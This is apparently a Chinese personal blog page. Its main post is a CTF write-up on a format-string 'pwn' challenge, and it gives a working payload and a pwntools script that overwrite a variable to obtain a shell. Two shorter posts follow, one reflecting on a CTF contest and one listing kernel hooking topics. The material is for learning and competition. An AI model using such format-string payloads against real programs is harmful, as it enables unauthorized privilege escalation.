赛后马后炮——基于字符串格式化漏洞的一个pwn题目

前言

这次结束之后看到pwn能力太弱了,就想试着研究一波。

比赛的时候压根没分析,赛后看了下逻辑,发现非常的简单。

至少本地环境上如果地址不变没开alsr这些是十分简单的。

程序地址在这里:format.rar

开始

首先看名字,提示十分明显,format。基本和字符串格式化有关系咯。

拉到IDA PRO看看逻辑

QQ图片20181203010901.png

QQ图片20181203010949.png

代码逻辑十分简单

基本就是

secret = 0;
fget(str,1024,std::stdin);//从命令行接受80h也就是128个字符长度的数据
print(str);把这个字符串打印
if (secret != c0h){printf("Sorry, secret=%d\n",secret);}
else{system("/sbin/su -i");//获取权限}

更具代码我们知道,我们主要修改secret这个变量的值就可以了。我们在ida pro那里看看这个值的地址是多少

QQ图片20181203011526.png

之后就是关于字符串format漏洞修改内存地址的啦。

相关资料在这里:

不过和教程中不一样的是,在此之前,我们得先找到我们程序format漏洞字符串所在栈中的偏移。

这个偏移才是让format语句把数据指向我们的地址的关键,毕竟这个字符串就是poc,包含要写入的地址。

我们打开gdb,设置printf断点。
QQ图片20181203012217.png

然后按r执行,输入11111111测试字符串。程序将会执行到断点处

QQ图片20181203012404.png

然后执行x/30x $sp 来查看

QQ图片20181203012511.png

发现第13个字段编程3131313131,31的ascii也就是对应的1的字符。

我们在程序内用%12$x 检查,发现内容不正确。
(%数字$操作符 的意思就是用第几个偏移,已什么方式输出,这里是x就是已16进制,d是整数,s是字符串)
最后检查发现是%11$x 对应我们的31313131,也就是在程序内使用第十一个偏移。

最后我们构造poc,用%n像该地址写入数值。

所以我们的playload,应该是\x48\xa0\x04\x08%188c%11$n 其中,x48xa0x04x08是我们要写入的地址。%188c的意思是把188转换为16进制写入。

为什么是188呢?因为最后是验证secret是否等于C0H,也就是是否等于192。%n的意思是写入字节长度,\x48\xa0\x04\x08刚好是四字节,加上这188刚好是192等于C0H,达到最后验证secret相等的效果。

最后就是实现了。

因为\x48\xa0\x04\x08这几个属于特殊字符,直接输入并不会被转义,所以得需要程序帮我们构造输入。这时候我们可以使用pwntools

sudo apt install python
sudo apt install python-pip
sudo pip install pwntools

详细教程可以看:pwntools使用

我们构造poc代码如下:

from pwn import *
io = process('format')#format必须和这个Py脚本同一目录下
io.sendline('\x48\xa0\x04\x08%188c%11$n')
io.interactive()  #直接进行交互,相当于回到shell的模式,在取得shell之后使用

成功取得shell
QQ图片20181203013722.png

Tags: none

时隔许久的ctf感想

加了个社团,正好这次省内有比赛,就参加了。

不如说ctf,这种东西,我老早就不大接触了。。

这次是三人一组,和两个学长一起_(:з」∠)_。。学长们都好强啊。。像我这种只能划水的。只能默默的看着了。。

因为早上体测时间和比赛开始时间撞上了。所以错过了一些题目。

中午的时候弄Misc,是一道图片隐写。我没看题目,看了下pcap文件,一看是一个分析sftp的。

乐了。东西全部提取出来了。其中一个是假flag。结果一看题目,Misc,好哇是隐写。

想了半天以为是什么高级隐写,分析了IHDR什么分析了半天,错失了一血的机会。

最后确实普通的LSB低位隐写就行了。。

之后有一道题目很有意思。

拥有写任意文件的权限,但是任意文件之前会必须执行一个die命令来退出。这就很讨厌了。

被这个题目卡了半天,最后还是看了大佬的博客谈一谈php://filter的妙用

才解出来的。。

还有一些题目,比方说flask那题目。

标准的转义漏洞拿secret_key计算得出admin的session然后登录拿flag。

我到最后快结束了才知道这题目是有代码的。惊了!!!

然后花了一些时间审计代码。

就快要得出结果的时候结束了_(:з」∠)_。。真的好可惜啊。

还有就是加密和逆向,这两个,前面一个是看得懂代码看不懂意思(。后面哪个是看不懂代码但是懂的意思hhhh,但是无论哪个对我来说都是苦手级别的存在,所以就完全跳过了QAQ

通过这次,我也感觉我PWN水平太弱了。PWN题目感觉是我明明可以驾驭的,但是之前因为没有驾驭的经验所以导致这次完全的失分。

第一道题是很明显的溢出漏洞,第二个是很明显的format溢出。

不对,是非常明显,而且还给出了bin文件。

理论只要上去构造溢出exp,然后去nc连接执行

就行了,但是因为没有经验,现场去学习也太难了。

所以无奈只好放弃了。。

最后排名的话,还算过得去,原本是二十多名,前几名都是省内那种dalao级别的学校,RBQRBQ,tqltql。

但是最后瞬间低了十名,感觉是同学校的交换flag还是啥_(:з」∠)_。。毕竟是同一个学校的。

不过即便是这样,决赛应该还是能进的吧。。

AWD倒是真的没怎么打过Hhhh这次过去貌似真的只能划水了23333

Tags: ctf

《过时技术研究计划》

inline hook
ssdt hook
dkom

Tags: none
文章总数:134篇 分类总数:3个